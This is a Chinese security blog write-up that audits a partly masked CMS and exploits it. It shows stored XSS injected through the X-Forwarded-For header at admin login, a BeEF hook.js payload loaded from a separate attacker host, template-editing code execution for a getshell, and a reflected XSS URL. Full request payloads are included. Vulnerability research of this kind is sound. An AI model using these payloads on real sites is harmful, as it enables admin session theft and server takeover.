代码审计之某CMS利用存储型xss登录后台GetShell

admin 2024年1月16日23:00:21评论25 views字数 3301阅读11分0秒阅读模式
代码审计之某CMS利用存储型xss登录后台GetShell

代码审计之某CMS利用存储型xss登录后台GetShell    

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

代码审计之某CMS利用存储型xss登录后台GetShell

原文链接FreeBuf:https://www.freebuf.com/vuls/386351.html作者:少年与梦whs

漏洞环境

php5.6-8、Apache、Mysql,利用phpStudy进行搭建部署

漏洞利用说明

该后台登录的时候,无论是否登录成功,都会记录登录者的ip和用户名,且获取ip的函数没有做过滤,从而导致攻击者可以输入任意的用户名和密码,之后抓包在xff头中输入xss代码;当受害者登录时,即可获得用户的cookie;在获得用户的cookie后,利用cookie登录,可以在后端进行代码执行getshell。【以下漏洞仅作为技术分享,切勿瞎搞,搞出来事情与本人无关(以下漏洞均申请cve了)】

一、存储型xss漏洞

1.1 漏洞复现

浏览器访问:访问

http://ip//xxxxxcms/?m=admin&c=index&a=login

输入错误的用户名和密码,尝试进行登录,并抓包,添加

X-Forwarded-For: <script>alert(/xss/)</script>

点击发送

POST /xxxdcms/?m=admin&c=index&a=check HTTP/1.1Host: 192.168.239.128User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 195Origin: http://192.168.239.128Connection: closeReferer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=loginCookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2X-Forwarded-For: <script>alert(/xss/)</script>sec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871
代码审计之某CMS利用存储型xss登录后台GetShell

在输入正确的密码,进行登录,登录成功后发现存在存储型xss漏洞。

代码审计之某CMS利用存储型xss登录后台GetShell

这可以获得后台管理用户登录的cookie,从而登录后端管理平台,危害极大。

1.2 Beef实战

输入payload,等待用户登录

POST /qingsdcms/?m=admin&c=index&a=check HTTP/1.1Host: 192.168.239.128User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 195Origin: http://192.168.239.128Connection: closeReferer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=loginCookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2X-Forwarded-For: <script src=http://192.168.239.131:3000/hook.js />sec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871

之后输入正确的用户名和密码:admin:admin,进行登录,登录成功后,查看Beef上线

代码审计之某CMS利用存储型xss登录后台GetShell

在获取getcookie的时候发现获取不到,应该是做了限制,可以采用钓鱼的方式诱惑用户输入密码

代码审计之某CMS利用存储型xss登录后台GetShell
代码审计之某CMS利用存储型xss登录后台GetShell
代码审计之某CMS利用存储型xss登录后台GetShell

即可拿到用户的密码进行登录,还可以进行Beef其它操作,重定向浏览器等,危害巨大。

代码审计之某CMS利用存储型xss登录后台GetShell

1.3 代码审计

首先使用Seay源代码审计系统进行代码扫描,发现位于/app/f.php文件中存在获取IP方法进行伪造,可以引发sql注入漏洞。

代码审计之某CMS利用存储型xss登录后台GetShell

点开f.php进行查看发现存在getip函数

代码审计之某CMS利用存储型xss登录后台GetShell

全局搜索发现/app/admin/c/index.php用引用这个函数

代码审计之某CMS利用存储型xss登录后台GetShell

查看/app/admin/c/index.php,在check函数中有引用,第一个红框是查询IP地址为$ip、登录状态为0、且最近一天内登录过的用户数量,进行禁止暴力破解和sql注;第二个红框是检测密码和验证码输入是否规范和正确;第三个红框是进行登录验证;第四个红框是登录成功后进行更新;第五个红框是将登录的用户名称,ip,时间等进行添加,这说明无论是否登录成功都会将登录的ip进行记录,故此导致了存储型xss。

代码审计之某CMS利用存储型xss登录后台GetShell

二、代码执行漏洞

2.1 漏洞复现

访问模板管理

代码审计之某CMS利用存储型xss登录后台GetShell

选择本地模块,使用鼠标点击进去

代码审计之某CMS利用存储型xss登录后台GetShell

在点击index.php,将里面内容全部删掉,写入代码执行命令,点击保存

代码审计之某CMS利用存储型xss登录后台GetShell

访问http://192.168.239.128/qingsdcms/index.php,命令执行成功

代码审计之某CMS利用存储型xss登录后台GetShell

2.2 代码分析

打开theme.php,查看代码,传入的参数t2被复制给$test,check_bad对$text进行过滤,之后会进行写入和保存。

代码审计之某CMS利用存储型xss登录后台GetShell

查看check_bad函数,是对所有php危险函数进行了过滤,但是没有过滤

代码审计之某CMS利用存储型xss登录后台GetShell

这里直接是die掉了。

文件包含我是从api模块的debug方法来打的。

三、反射性XSS漏洞

在浏览器中输入:

http://192.168.239.128/xxxxcms/?a=code%27%22()%26%25%3Cacx%3E%3CScRiPt%3Ealert(9678)%3C/ScRiPt%3E
代码审计之某CMS利用存储型xss登录后台GetShell

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持。

原文始发于微信公众号(芸云虾扯蛋):代码审计之某CMS利用存储型xss登录后台GetShell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月16日23:00:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计之某CMS利用存储型xss登录后台GetShellhttps://cn-sec.com/archives/2399281.html

发表评论

匿名网友 填写信息